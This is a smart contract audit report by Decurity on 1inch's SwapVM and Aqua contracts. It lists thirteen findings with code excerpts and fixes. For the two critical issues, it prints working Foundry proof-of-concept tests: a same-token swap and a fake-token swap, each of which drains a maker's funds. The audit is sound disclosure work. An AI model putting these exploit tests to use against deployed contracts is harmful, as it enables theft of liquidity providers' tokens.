Smart Contract Security Audit Report

1inch SwapVM&Aqua Audit

1. Contents

2. General Information

This report contains information about the results of the security audit of the 1inch (hereafter referred to as "Customer") smart contracts, conducted by Decurity in the period from 2025-10-31 to 2025-11-14.

2.1. Introduction

Tasks solved during the work are:

- Review the protocol design and the usage of 3rd party dependencies,
- Audit the contracts implementation,
- Develop the recommendations and suggestions to improve the security of the contracts.

2.2. Scope of Work

The audit scope included the contracts in the following repositories: https://github.com/1inch/aqua/ and https://github.com/1inch/swap-vm. Initial review was done for the commits d200986ddc5be34b7a870805de926eb0f6e005d7 and c430f0b2a16403d207f347a21fc8dc8f1292423e and the re-testing was done for the commits XXX and XXX.

The following contracts have been tested:

- Aqua
  - src/Aqua.sol
  - src/AquaApp.sol
  - src/AquaRouter.sol
  - src/Multicall.sol
  - src/Simulator.sol
  - src/libs/Balance.sol
  - src/libs/ReentrancyGuard.sol
  - src/libs/Transient.sol

  - src/libs/TransientLock.sol
- Swap VM
  - src/SwapVM.sol
  - src/strategies/AquaAMM.sol
  - src/routers/AquaSwapVMRouter.sol
  - src/opcodes/AquaOpcodes.sol
  - src/instructions/Balances.sol
  - src/instructions/Controls.sol
  - src/instructions/Decay.sol
  - src/instructions/Fee.sol
  - src/instructions/XYCSwap.sol
  - src/instructions/XYCConcentrate.sol
  - src/libs/Calldata.sol
  - src/libs/CalldataPtr.sol
  - src/libs/Simulator.sol
  - src/libs/VM.sol

2.3. Threat Model

The assessment presumes actions of an intruder who might have capabilities of any role (an external user, token owner, token service owner, a contract). The centralization risks have not been considered upon the request of the Customer.

The main possible threat actors are:

- Maker,
- Taker.

2.4. Weakness Scoring

An expert evaluation scores the findings in this report, an impact of each vulnerability is calculated based on its ease of exploitation (based on the industry practice and our experience) and severity (for the considered threats).

2.5. Disclaimer

Due to the intrinsic nature of the software and vulnerabilities and the changing threat landscape, it cannot be generally guaranteed that a certain security property of a program holds.

Therefore, this report is provided “as is” and is not a guarantee that the analyzed system does not contain any other security weaknesses or vulnerabilities. Furthermore, this report is not an endorsement of the Customer’s project, nor is it an investment advice.

That being said, Decurity exercises best effort to perform their contractual obligations and follow the industry methodologies to discover as many weaknesses as possible and maximize the audit coverage using the limited resources.

3. Summary

As a result of this work, we have discovered multiple critical and medium security issues.

3.1. Suggestions

The table below contains the discovered issues, their risk level, and their status as of November 14, 2025.

Table. Discovered weaknesses

Issue	Contract	Risk Level	Status
Same-Token Swap in Concentrated Liquidity Orders Allows Taker To Drain Funds	swap-vm/src/SwapVM.sol	**Critical**	Not fixed
Missing Token Validation Allows Taker to Steal Maker's Funds	swap-vm/src/instructions/XYCConcentrate.sol	**Critical**	Not fixed
Decay logic does not work properly	swap-vm/src/instructions/Decay.sol	**Medium**	Not fixed
XYCSwap allows rounding to 0	swap-vm/src/instructions/XYCSwap.sol	**Medium**	Not fixed
quote() Uses Wrong msg.sender Context Leading to Incorrect Quote Results	swap-vm/src/SwapVM.sol	**Medium**	Not fixed
Strict Threshold Check Validates Wrong Value in Exact-Out Mode	swap-vm/src/libs/TakerTraits.sol	**Medium**	Not fixed

Issue	Contract	Risk Level	Status
Missing Deadline Parameter in Swap Functions	aqua/src/apps/XYCSwap.sol aqua/src/apps/ABCWeightedSwap.sol	**Low**	Not fixed
Array length is not checked	aqua/src/Aqua.sol	**Low**	Not fixed
initAndAdd() Cannot Distinguish Between Uninitialized and Zero Values	swap-vm/src/libs/Transient.sol	**Low**	Not fixed
Typo in a variable name	swap-vm/src/instructions/Balances.sol	**Info**	Not fixed
The Aqua strategy may contain more tokens than recorded in the tokenCount variable.	aqua/src/Aqua.sol	**Info**	Not fixed
No possibility to undock tokens in strategies	aqua/src/Aqua.sol	**Info**	Not fixed
loadOrInit instruction doesn't check that both input and output balances are set	swap-vm/src/instructions/Balances.sol	**Info**	Not fixed

4. General Recommendations

This section contains general recommendations on how to improve overall security level.

The Findings section contains technical recommendations for each discovered issue.

4.1. Security Process Improvement

The following is a brief long-term action plan to mitigate further weaknesses and bring the product security to a higher level:

- Keep the whitepaper and documentation updated to make it consistent with the implementation and the intended use cases of the system,
- Perform regular audits for all the new contracts and updates,
- Ensure the secure off-chain storage and processing of the credentials (e.g. the privileged private keys),
- Launch a public bug bounty campaign for the contracts.

5. Findings

5.1. Same-Token Swap in Concentrated Liquidity Orders Allows Taker To Drain Funds

Risk Level: Critical

Status: Not fixed

Contracts:

- swap-vm/src/SwapVM.sol

Location:

- `swap`

Description:

Taker can perform profitable swaps on concentrated liquidity orders and drain maker funds by setting `tokenIn` equal to `tokenOut`, exploiting insufficient argument validation. Root Cause:

In `Balances.sol:64-77`, the code uses `if-else if` logic to set balances:

```
if (tokenTail == tokenInTail) {
    ctx.swap.balanceIn = balance;
    countBalancesSet++;
} else if (tokenTail == tokenOutTail) {
    ctx.swap.balanceOut = balance;
    countBalancesSet++;
}
```

When a taker executes a same-token swap (passing the same token as both tokenIn and tokenOut), the following occurs:

- balanceIn is set to the stored balance value
- The else if is skipped, leaving balanceOut = 0

```
ctx.swap.balanceIn = concentratedBalance(ctx.query.orderHash,
ctx.swap.balanceIn, deltaIn);
ctx.swap.balanceOut = concentratedBalance(ctx.query.orderHash,
ctx.swap.balanceOut, deltaOut);
```

This results in:

- balanceIn = legitimate stored balance + deltaIn (normal)
- balanceOut = 0 + deltaOut (artificially created incorrect balance)

```
amountOut = (amountIn × balanceOut) / (balanceIn + amountIn)
```

With incorrect initial balances, this allows an attacker to extract more tokens than they provided for orders where the maker's chosen deltaIn/deltaOut arguments are favorable enough to make the swap profitable.

Attack Vector:

1. Maker creates a legitimate concentrated liquidity order for the TokenA/TokenB pair
2. Attacker executes a swap with tokenIn == tokenOut
3. XYCSwap calculates using the artificially inflated balanceOut
4. The attacker receives more tokens than they provided for orders where the maker's chosen deltaIn/deltaOut arguments create a profitable opportunity

```
    function test_POC() public {
        console.log("\n========================================");
        console.log("POC: Same-Token Swap Attack on Concentrated
Liquidity");
        console.log("========================================\n");
         MakerSetup memory setup = MakerSetup({
            growLiquidityInsteadOfPriceRange: true,
            balanceA: 20000e18,
            balanceB: 3000e18,
            flatFee: 0.003e9, // 0.3% flat fee
            priceBoundA: 0.01e18,
            priceBoundB: 2e18
        });
         console.log("=== Maker Setup ===");
        console.log("Token A balance/1e18:", setup.balanceA / 1e18);
        console.log("Token B balance/1e18:", setup.balanceB / 1e18);
        console.log("Price bound A:", setup.priceBoundA);
        console.log("Price bound B:", setup.priceBoundB);
         (uint256 deltaA, uint256 deltaB) =
            XYCConcentrateArgsBuilder.computeDeltas(setup.balanceA,
setup.balanceB, 1e18, setup.priceBoundA, setup.priceBoundB);
         console.log("\n=== Calculated Deltas ===");
        console.log("Delta A/1e18:", deltaA / 1e18);
        console.log("Delta B/1e18:", deltaB / 1e18);
         (SwapVM.Order memory order, bytes memory signature) =
_createOrder(setup);
         address tokenSwap = tokenA < tokenB ? tokenA : tokenB;
        bool isTokenA = tokenSwap == tokenA;
         console.log("\n=== Attack Setup ===");
        console.log("Attacking token:", isTokenA ? "Token A" : "Token
B");
        console.log("Token A address < Token B address:", tokenA <
tokenB);
         // Setup taker traits and data
        bytes memory quoteExactOut = _quotingTakerData(TakerSetup({
isExactIn: false }));
        bytes memory swapExactOut = _swappingTakerData(quoteExactOut,
signature);
         uint256 attackAmount = 1000e18;
        console.log("Attack amount:", attackAmount / 1e18);
         // Get balances before
        uint256 takerBalanceBefore =
MockToken(tokenSwap).balanceOf(taker);
        uint256 makerBalanceBefore =
MockToken(tokenSwap).balanceOf(maker);
         console.log("\n=== Before Attack ===");
        console.log("Taker balance/1e18:", takerBalanceBefore / 1e18);
        console.log("Maker balance/1e18:", makerBalanceBefore / 1e18);
         // Execute attack: swap same token
        console.log("\n=== Executing Same-Token Swap ===");
        console.log("Swapping", isTokenA ? "A -> A" : "B -> B");
```

```
         vm.prank(taker);
        (uint256 amountIn, uint256 amountOut, ) = swapVM.swap(
            order,
            tokenSwap, // tokenIn
            tokenSwap, // tokenOut (same)
            attackAmount,
            swapExactOut
        );
         // Get balances after
        uint256 takerBalanceAfter =
MockToken(tokenSwap).balanceOf(taker);
        uint256 makerBalanceAfter =
MockToken(tokenSwap).balanceOf(maker);
         console.log("\n=== Swap Results ===");
        console.log("Amount in/1e18:", amountIn / 1e18);
        console.log("Amount out/1e18:", amountOut / 1e18);
         console.log("\n=== After Attack ===");
        console.log("Taker balance/1e18:", takerBalanceAfter / 1e18);
        console.log("Maker balance/1e18:", makerBalanceAfter / 1e18);
         int256 takerProfit = int256(takerBalanceAfter) -
int256(takerBalanceBefore);
        int256 makerLoss = int256(makerBalanceBefore) -
int256(makerBalanceAfter);
         console.log("\n=== Attack Impact ===");
        console.log("Taker profit/1e18:", takerProfit > 0 ?
uint256(takerProfit) / 1e18 : 0);
        console.log("Maker loss/1e18:", makerLoss > 0 ?
uint256(makerLoss) / 1e18 : 0);
         console.log("\n=======================================\n");
         // Assertions
        assertGt(amountOut, amountIn, "Attack should be profitable");
        assertGt(takerBalanceAfter, takerBalanceBefore, "Taker should
gain tokens");
        assertLt(makerBalanceAfter, makerBalanceBefore, "Maker should
lose tokens");
    }
```

Remediation:

Consider adding validation in the SwapVM to prevent same-token swaps:

```
require(ctx.query.tokenIn != ctx.query.tokenOut, "Same token swap not
allowed");
```

5.2. Missing Token Validation Allows Taker to Steal Maker's Funds

Risk Level: Critical

Status: Not fixed

Contracts:

- swap-vm/src/instructions/XYCConcentrate.sol

Location:

- `_xycConcentrateGrowPriceRange2D()`
- `_xycConcentrateGrowLiquidity2D()`

Description:

The `_xycConcentrateGrowPriceRange2D()` and `_xycConcentrateGrowLiquidity2D()` functions unconditionally increase `balanceIn` and `balanceOut` based on arbitrary `tokenIn` and `tokenOut` provided by the taker, without verifying these tokens are authorized by the maker. A malicious taker can pass a fake token as `tokenIn`, causing `balanceIn` to be artificially inflated. When the swap instruction executes, it only checks `balanceIn > 0 && balanceOut > 0`, which will pass, allowing the taker to steal the maker's `tokenOut` without providing any real `tokenIn`.

Test:

```
function test_arbitraryTokenExploit() public {
    MakerSetup memory setup = MakerSetup({
        growLiquidityInsteadOfPriceRange: true,
        balanceA: 20000e18,
        balanceB: 3000e18,
        flatFee: 0.003e9, // 0.3% flat fee
        priceBoundA: 0.01e18, // XYCConcentrate tokenA to 100x
        priceBoundB: 25e18 // XYCConcentrate tokenB to 25x
    });
    (SwapVM.Order memory order, bytes memory signature) =
_createOrder(setup);
     vm.startPrank(taker);
     MockToken malToken = new MockToken("Malicious token", "MTK");
    malToken.mint(taker, 1_000_000_000e18);
    malToken.approve(address(swapVM), type(uint256).max);
     // Setup taker traits and data
    bytes memory quoteExactOut = _quotingTakerData(TakerSetup({
isExactIn: false }));
    bytes memory swapExactOut = _swappingTakerData(quoteExactOut,
signature);
     // Buy all tokenB liquidity
    uint256 amountOut = setup.balanceB;
    uint takerToken1BalanceBefore = malToken.balanceOf(taker);
    uint takerToken2BalanceBefore =
MockToken(tokenB).balanceOf(taker);
    uint makerToken1BalanceBefore = malToken.balanceOf(maker);
    uint makerToken2BalanceBefore =
MockToken(tokenB).balanceOf(maker);
     (uint256 swapAmountIn,,) = swapVM.swap(order, address(malToken),
tokenB, amountOut, swapExactOut);
     uint takerToken1BalanceAfter = malToken.balanceOf(taker);
    uint takerToken2BalanceAfter = MockToken(tokenB).balanceOf(taker);
    uint makerToken1BalanceAfter = malToken.balanceOf(maker);
    uint makerToken2BalanceAfter = MockToken(tokenB).balanceOf(maker);
     console.log("takerToken1Diff:", int(takerToken1BalanceAfter) -
int(takerToken1BalanceBefore));
    console.log("takerToken2Diff:", int(takerToken2BalanceAfter) -
int(takerToken2BalanceBefore));
    console.log("makerToken1Diff:", int(makerToken1BalanceAfter) -
int(makerToken1BalanceBefore));
    console.log("makerToken2Diff:", int(makerToken2BalanceAfter) -
int(makerToken2BalanceBefore));
}
```

Remediation:

Add validation in both functions to ensure the provided `tokenIn` and `tokenOut` match the tokens the maker intended to trade.

5.3. Decay logic does not work properly

Risk Level: Medium

Status: Not fixed

Contracts:

- swap-vm/src/instructions/Decay.sol

Location:

- `_decayXD()`

Description:

The `_decayXD` instruction protects user swaps from sandwich attacks using a virtual balance mechanism. This mechanism gradually improves the exchange rate for the opposite swap direction over time. Virtual balances are implemented through offsets calculated and applied to real balances during swaps. However, a bug in the implementation causes users to receive less `tokenOut` than needed due to a poor exchange rate after the MEV attacker's transaction. This occurs because the wrong buy/sell token direction is used when updating the `_offsets` mapping. As a result, the exchange rate for the same direction becomes less profitable than the opposite direction after a swap. `src/instructions/Decay.sol:79-95`:

```
function _decayXD(Context memory ctx, bytes calldata args) internal {
    // ...
    ctx.swap.balanceIn +=
_offsets[ctx.query.orderHash][ctx.query.tokenIn][true].getOffset(period);
    ctx.swap.balanceOut -=
_offsets[ctx.query.orderHash][ctx.query.tokenOut][false].getOffset(period);
     ctx.runLoop();
     // ...
    if (!ctx.vm.isStaticContext) {
        **_offsets[ctx.query.orderHash][ctx.query.tokenIn][true].addOffset(c
tx.swap.amountIn, period); // @audit wrong swap direction (true/false)
        _offsets[ctx.query.orderHash][ctx.query.tokenOut][false].addOffset(c
tx.swap.amountOut, period); // is used during the update**
    }
 }
```

Remediation:

Change the swap direction during the `_offsets` mapping update:

```
function _decayXD(Context memory ctx, bytes calldata args) internal {
    // ...
    ctx.swap.balanceIn +=
_offsets[ctx.query.orderHash][ctx.query.tokenIn][true].getOffset(period);
    ctx.swap.balanceOut -=
_offsets[ctx.query.orderHash][ctx.query.tokenOut][false].getOffset(period);
     ctx.runLoop();
     // ...
    if (!ctx.vm.isStaticContext) {
        **_offsets[ctx.query.orderHash][ctx.query.tokenIn][false].addOffset(
ctx.swap.amountIn, period); // @audit fixed swap direction
        _offsets[ctx.query.orderHash][ctx.query.tokenOut][true].addOffset(ct
x.swap.amountOut, period);**
    }
 }
```

5.4. XYCSwap allows rounding to 0

Risk Level: Medium

Status: Not fixed

Contracts:

- swap-vm/src/instructions/XYCSwap.sol

Location:

- `_xycSwapXD`

Description:

`_xycSwapXD` instruction doesn't validate that amounts are non-zero after calculations. If no other instructions are used, an attacker can extract tokens by rounding amountIn to 0.

```
        function _xycSwapXD(Context memory ctx, bytes calldata /* args
*/) internal pure {
        require(ctx.swap.balanceIn > 0 && ctx.swap.balanceOut > 0,
XYCSwapRequiresBothBalancesNonZero(ctx.swap.balanceIn,
ctx.swap.balanceOut));
         if (ctx.isExactIn()) {
            require(ctx.swap.amountOut == 0,
XYCSwapRecomputeDetected());
            ctx.swap.amountOut = ( // Floor division for tokenOut is
desired behavior
                (ctx.swap.amountIn * ctx.swap.balanceOut) /
                (ctx.swap.balanceIn + ctx.swap.amountIn)
            );
        } else {
            require(ctx.swap.amountIn == 0,
XYCSwapRecomputeDetected());
            ctx.swap.amountIn = Math.ceilDiv( // Ceiling division for
tokenIn is desired behavior
                ctx.swap.amountOut * ctx.swap.balanceIn,
                (ctx.swap.balanceOut - ctx.swap.amountOut)
            );
        }
    }
```

Remediation:

Consider checking that received amounts are not 0.

5.5. quote() Uses Wrong msg.sender Context Leading to Incorrect Quote Results

Risk Level: Medium

Status: Not fixed

Contracts:

- swap-vm/src/SwapVM.sol

Location:

- `quote()`
- `quoteNonView()`

Description:

The `quote()` function is designed to simulate swap execution and provide accurate preview results to users. However, it handles the `msg.sender` context incorrectly. When `quote()` is called, it uses `staticcall` to invoke the internal `quoteNonView()` function. This `staticcall` changes the `msg.sender` from the original caller to `address(this)` (the SwapVM contract itself). At line 117 in `quoteNonView()`, the code passes this changed `msg.sender` to `TakerTraitsLib.parse()`:

```
File: swap-vm/src/SwapVM.sol
109: function quoteNonView(
110: Order calldata order,
111: address tokenIn,
112: address tokenOut,
113: uint256 amount,
114: bytes calldata takerTraitsAndData
115: ) external returns (uint256 amountIn, uint256 amountOut) {
116: order.traits.validate();
117: (TakerTraits memory takerTraits, bytes calldata takerData) =
TakerTraitsLib.parse(takerTraitsAndData, msg.sender);
118: Context memory ctx = _initContext(order, order.program,
hashOrder(order), tokenIn, tokenOut, amount, takerTraits.isExactIn(),
takerData, true);
119: ctx.runLoop();
120: (amountIn, amountOut) = ctx.amountsForSwap();
121: takerTraits.validate(amountIn, amountOut);
122: }
```

The `TakerTraitsLib.parse()` function uses this `msg.sender` parameter as the default taker address when `TakerTraits.to` is not explicitly specified (line 78 of `TakerTraits.sol`):

```
File: /swap-vm/src/libs/TakerTraits.sol
65: function parse(bytes calldata data, address taker) internal pure
returns (TakerTraits memory traits, bytes calldata tail) {
66: traits.flags = uint8(bytes1(data.slice(0, 1,
TakerTraitsMissingFlagsByte.selector)));
67: tail = data.slice(1);
68:
69: if (traits.hasThreshold()) {
70: traits.threshold = uint256(bytes32(tail.slice(0, 32,
TakerTraitsMissingThreshold.selector)));
71: tail = tail.slice(32);
72: }
73:
74: if (traits.hasTo()) {
75: traits.to = address(bytes20(tail.slice(0, 20,
TakerTraitsMissingTo.selector)));
76: tail = tail.slice(20);
77: } else {
78: traits.to = taker; // Uses msg.sender as default
79: }
80: }
```

This means quote() simulates the swap with ctx.query.taker set to the SwapVM contract address, while an actual swap() call from the same user would have ctx.query.taker set to the user's address.

Considering an order program that includes taker-dependent logic, such as:

- Token balance checks (Controls._onlyTakerTokenBalanceGte)
- Taker-specific fee structures
- Conditional branching based on taker address
- NFT/token gating requirements

Remediation:

Consider modifying `quote()` to pass the original caller address to `quoteNonView()`:

```
function quote(
    Order calldata order,
    address tokenIn,
    address tokenOut,
    uint256 amount,
    bytes calldata takerTraitsAndData
) external returns (uint256 amountIn, uint256 amountOut) {
    bytes memory data = abi.encodeWithSelector(
        this.quoteNonView.selector,
        order,
        tokenIn,
        tokenOut,
        amount,
        takerTraitsAndData,
        msg.sender // Pass original caller
    );
     // ... rest of staticcall logic
}
 function quoteNonView(
    Order calldata order,
    address tokenIn,
    address tokenOut,
    uint256 amount,
    bytes calldata takerTraitsAndData,
    address originalCaller // New parameter
) external returns (uint256 amountIn, uint256 amountOut) {
    order.traits.validate();
    (TakerTraits memory takerTraits, bytes calldata takerData) =
        TakerTraitsLib.parse(takerTraitsAndData, originalCaller); //
Use original caller
    // ... rest of function
}
```

5.6. Strict Threshold Check Validates Wrong Value in Exact-Out Mode

Risk Level: Medium

Status: Not fixed

Contracts:

- swap-vm/src/libs/TakerTraits.sol

Location:

- `validate()`

Description:

The `validate()` function has a logic error in strict threshold mode.

```
File: swap-vm/src/libs/TakerTraits.sol
114: function validate(TakerTraits memory traits, uint256 amountIn,
uint256 amountOut) internal pure {
115: if (traits.hasThreshold()) {
116: if (traits.isStrictThresholdAmount()) {
117: require(amountOut == traits.threshold,
TakerTraitsNonExactThresholdAmount(amountOut, traits.threshold));
118: } else {
119: if (traits.isExactIn()) {
120: require(amountOut >= traits.threshold,
TakerTraitsInsufficientMinOutputAmount(amountOut, traits.threshold));
121: } else {
122: require(amountIn <= traits.threshold,
TakerTraitsExceedingMaxInputAmount(amountIn, traits.threshold));
123: }
124: }
125: }
126: }
```

In exact-out mode, the taker specifies the desired `amountOut`, and the protocol computes `amountIn`. The check on line 117 validates the user's own input against its own threshold, which is meaningless. The computed `amountIn` remains unconstrained, potentially bypassing slippage protection.

Remediation:

Validate the computed value in strict mode:

```
function validate(TakerTraits memory traits, uint256 amountIn, uint256
amountOut) internal pure {
    if (traits.hasThreshold()) {
        if (traits.isStrictThresholdAmount()) {
            if (traits.isExactIn()) {
                require(amountOut == traits.threshold,
TakerTraitsNonExactThresholdAmount(amountOut, traits.threshold));
            } else {
                require(amountIn == traits.threshold,
TakerTraitsNonExactThresholdAmount(amountIn, traits.threshold));
            }
        } else {
            if (traits.isExactIn()) {
                require(amountOut >= traits.threshold,
TakerTraitsInsufficientMinOutputAmount(amountOut, traits.threshold));
            } else {
                require(amountIn <= traits.threshold,
TakerTraitsExceedingMaxInputAmount(amountIn, traits.threshold));
            }
        }
    }
}
```

5.7. Missing Deadline Parameter in Swap Functions

Risk Level: Low

Status: Not fixed

Contracts:

- aqua/src/apps/XYCSwap.sol
- aqua/src/apps/ABCWeightedSwap.sol

Location:

- `swapExactIn()`
- `swapExactOut()`

Description:

Both `XYCSwap` and `ABCWeightedSwap` contracts lack deadline parameters in their swap functions, exposing users to transaction delay risks. Pending transactions can be executed at unfavorable times when market conditions have changed significantly, potentially exceeding user's acceptable slippage.

Remediation:

Add a deadline parameter to all swap functions.

5.8. Array length is not checked

Risk Level: Low

Status: Not fixed

Contracts:

- aqua/src/Aqua.sol

Location:

- `ship()`

Description:

The ship() function allows to initiate token balances on a specific strategy. It does not check that `tokens.length == amounts.length`.

```
function ship(address app, bytes calldata strategy, address[] calldata
tokens, uint256[] calldata amounts) external returns(bytes32
strategyHash) {
    address maker = _msgSender();
    strategyHash = keccak256(strategy);
    uint8 tokensCount = tokens.length.toUint8();
    require(tokensCount != _DOCKED,
MaxNumberOfTokensExceeded(tokensCount, _DOCKED)); // @audit check that
tokensCount == amounts.length
    emit Shipped(maker, app, strategyHash, strategy);
    for (uint256 i = 0; i < tokens.length; i++) {
        Balance storage balance =
_balances[maker][app][strategyHash][tokens[i]];
        require(balance.tokensCount == 0,
StrategiesMustBeImmutable(app, strategyHash));
        balance.store(amounts[i].toUint248(), tokensCount);
        emit Pushed(maker, app, strategyHash, tokens[i], amounts[i]);
    }
}
```

Remediation:

Add the arguments length check to insure the same length of arrays.

5.9. initAndAdd() Cannot Distinguish Between Uninitialized and Zero Values

Risk Level: Low

Status: Not fixed

Contracts:

- swap-vm/src/libs/Transient.sol

Location:

- `initAndAdd()`

Description:

The `initAndAdd()` function uses zero as a sentinel value to detect uninitialized transient storage:

```
File: swap-vm/src/libs/Transient.sol
106: function initAndAdd(tuint256 storage self, uint256 initialValue,
uint256 toAdd) internal returns (uint256 result) {
107: result = tload(self);
108: if (result == 0) {
109: result = initialValue;
110: }
111: result += toAdd;
112: tstore(self, result);
113: }
```

This creates ambiguity: if a transient slot is legitimately decremented to zero during a transaction, the next initAndAdd() call will incorrectly reset it to initialValue.

Example:

1. Slot starts at 100
2. Decremented to 0
3. Call initAndAdd(50, 10) . It incorrectly resets to 50 and then adds 10.
4. Now slot contain value 60 instead of expected 10.

Remediation:

Since the function is unused, ensure it is executed only during initialization in future development.

5.10. Typo in a variable name

Risk Level: Info

Status: Not fixed

Contracts:

- swap-vm/src/instructions/Balances.sol

Location:

- `setBalancesXD()`

Description:

Line 64 contains a typo: `tokeInTail` should be `tokenInTail`.

Remediation:

Rename `tokeInTail` to `tokenInTail` and `tokeOutTail` to `tokenOutTail`.

5.11. The Aqua strategy may contain more tokens than recorded in the tokenCount variable.

Risk Level: Info

Status: Not fixed

Contracts:

- aqua/src/Aqua.sol

Location:

- `ship()`

Description:

The ship() function checks immutability per-token rather than per-strategy. The check require(balance.tokensCount == 0, StrategiesMustBeImmutable(app, strategyHash)) only verifies that the specific token hasn't been initialized, not that the entire strategy is being created for the first time. This allows shipping tokens incrementally to the same strategy:

1. Call ship(app, strategy, [tokenA], [1000]) → sets tokensCount = 1 for tokenA

2. Call ship(app, strategy, [tokenB], [2000]) → sets tokensCount = 1 for tokenB (same strategyHash)

Remediation:

Consider storing the `tokenCount` for strategy in separate mapping.

5.12. No possibility to undock tokens in strategies

Risk Level: Info

Status: Not fixed

Contracts:

- aqua/src/Aqua.sol

Description:

The `dock` function permanently marks strategies as docked with no mechanism to undock them. Once docked, tokens cannot be used again without creating a new strategy or app.

Remediation:

If strategy reactivation is desired, implement an `undock()` function that resets the `_DOCKED` state.

5.13. loadOrInit instruction doesn't check that both input and output balances are set

Risk Level: Info

Status: Not fixed

Contracts:

- swap-vm/src/instructions/Balances.sol

Location:

- `_loadOrInit()`

Description:

Line 140 checks that `countBalancesSet > 0`, but the check only requires at least one balance to be set, not both `tokenIn` and `tokenOut`, as it is implemented in the `_setBalancesXD()` function, for example.

Remediation:

Replace the check with `countBalancesSet > 1`.

6. Appendix

6.1. About us

The Decurity team consists of experienced hackers who have been doing application security assessments and penetration testing for over a decade.

During the recent years, we've gained expertise in the blockchain field and have conducted numerous audits for both centralized and decentralized projects: exchanges, protocols, and blockchain nodes.

Our efforts have helped to protect hundreds of millions of dollars and make web3 a safer place.